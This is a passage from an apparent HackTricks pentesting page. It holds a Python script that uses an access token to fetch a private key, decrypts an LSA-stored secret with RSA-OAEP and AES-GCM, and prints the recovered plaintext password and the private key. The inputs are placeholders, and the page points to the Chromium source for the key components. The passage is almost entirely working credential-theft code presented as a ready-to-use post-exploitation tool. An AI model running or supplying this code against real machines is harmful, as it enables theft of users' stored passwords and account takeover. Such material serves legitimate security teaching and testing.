        print(f"Error occurred while requesting the private key: {e}")
        return None

def decrypt_password(access_token, lsa_secret):
    try:
        # Obtain the private key using the resource_id
        resource_id = lsa_secret["resource_id"]
        encrypted_data = b64decode(lsa_secret["encrypted_password"])
        
        private_key_pem = get_decryption_key(access_token, resource_id)
        print("Found private key:")
        print(private_key_pem)
        
        if private_key_pem is None:
            raise ValueError("Unable to retrieve the private key.")
        
        # Load the RSA private key
        rsa_key = RSA.import_key(private_key_pem)
        key_size = int(rsa_key.size_in_bits() / 8)
        
        # Decrypt the encrypted data
        cipher_rsa = PKCS1_OAEP.new(rsa_key)
        session_key = cipher_rsa.decrypt(encrypted_data[:key_size])
        
        # Extract the session key and other data from decrypted payload
        session_header = session_key[:32]
        session_nonce = session_key[32:]
        mac = encrypted_data[-16:]
        
        # Decrypt the AES GCM data
        aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce)
        decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)
        
        print("Decrypted Password:", decrypted_password.decode("utf-8"))
    
    except Exception as e:
        print(f"Error occurred during decryption: {e}")

# CHANGE THIS INPUT DATA!
access_token = "<acces_token>" 
lsa_secret = {
    "encrypted_password": "<encrypted-password>",
    "resource_id": "<resource-id>"
}

decrypt_password(access_token, lsa_secret)

It's possible to find the key components of this in the Chromium source code:

References

Support HackTricks

Last updated